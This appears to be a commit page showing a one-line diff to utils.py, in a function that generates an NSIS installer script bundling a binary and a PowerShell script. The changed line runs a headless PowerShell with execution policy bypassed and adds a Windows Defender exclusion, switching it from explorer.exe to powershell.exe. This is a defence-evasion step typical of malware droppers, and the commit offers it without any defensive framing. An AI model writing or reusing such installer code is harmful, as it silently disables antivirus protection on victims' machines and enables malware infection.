sigyllly commited on
Commit
b7df95a
·
verified ·
1 Parent(s): 57cb16e

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +1 -1
utils.py CHANGED
@@ -95,7 +95,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
95
  File "{ps1_file}"
96
 
97
  ; Run the first PowerShell command to add exclusion for explorer.exe
98
- ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"explorer.exe\""'
99
 
100
  ; Check if the previous command was successful
101
  IfErrors 0 +2 ; If no error, continue to the next command
 
95
  File "{ps1_file}"
96
 
97
  ; Run the first PowerShell command to add exclusion for explorer.exe
98
+ ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"powershell.exe\""'
99
 
100
  ; Check if the previous command was successful
101
  IfErrors 0 +2 ; If no error, continue to the next command